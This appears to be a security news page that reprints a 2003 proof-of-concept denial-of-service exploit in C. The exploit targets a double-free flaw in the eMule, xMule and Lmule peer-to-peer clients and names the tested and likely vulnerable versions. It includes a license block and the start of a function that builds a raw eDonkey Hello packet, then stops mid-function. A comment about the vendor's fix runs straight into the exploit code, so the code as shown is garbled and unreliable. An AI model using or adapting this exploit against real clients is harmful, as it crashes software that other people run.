As we reported in our previous article: eMule / Lmule / xMule Multiple Remote Vulnerabilities, a vulnerability in xMule allows remote attackers to cause a double free vulnerability in the product, thus causing the product to crash.
Exploit:
/*
* eMule/xMule/LMule AttachToAlreadyKnown() Object Destruction Vulnerability
* Denial of service proof of concept code
*
* by Rimi Denis-Courmont <exploit@simutrans.fr.st>
* http://www.simphalempin.com/dev/
*
* This vulnerability was found by:
* Stefan Esser <s.esser@e-matters.de>
* whose original advisory may be fetched from:
* http://security.e-matters.de/advisories/022003.html
*
* This code was tester "successfully" against xMule stable version 1.4.2,
* while xMule 1.4.3 was not vulnerable. It should also work against the
* following clients, but they were not tested:
* - eMule versions 0.29c and earlier,
* - xMule unstable versions 1.5.6a and earlier,
* - Lmule versions 1.3.1 and lower.
*/
/*****************************************************************************
* Copyright (C) 2003 Rimi Denis-Courmont. All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or without *
* modification, are permitted provided that the following conditions *
* are met: *
* 1. Redistributions of source code must retain the above copyright *
* notice, this list of conditions and the following disclaimer. *
* 2. Redistributions in binary form must reproduce the above copyright *
* notice, this list of conditions and the following disclaimer in the *
* documentation and/or other materials provided with the distribution. *
* *
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR *
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES *
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. *
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, *
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT *
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, *
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY *
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF *
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
*****************************************************************************/
/*
* Below is the fix as found in xMule 1.4.2; this is copyrighted material:
* Copyright (C)2002 Merkur <merkur-@users.sourceforge.net>
* http://www.xmule-project.net/
int
send_hello (int fd/*, const void *userhash, size_t hlen*/)
{
/*
* Note that eDonkey is an Intel-centric protocol that sends/receives
* everything in counter-network-byte order (ie. low order first).
*/
uint8_t *buf =
"\xE3" // protocol (eDonkey)
"\x22\x00\x00\x00" // packet size
"\x01" // command (Hello)
"\x10" // user hash size
USER_HASH // user hash
"\x01\x00\x00\xff" // user ID = our IP
"\x36\x12" // port on which to connect to us
"\x00\x00\x00\x00" // tag count (MUST be <= 7)
/* no tag for now */
"\x00\x00\x00\x00" // server IP (0 = none)
"\x00\x00"; // server port (0 = none, usually 0x1235)
/*
* We should put our real IP, randomize our user hash and add some tag
* like real P2P clients here
*/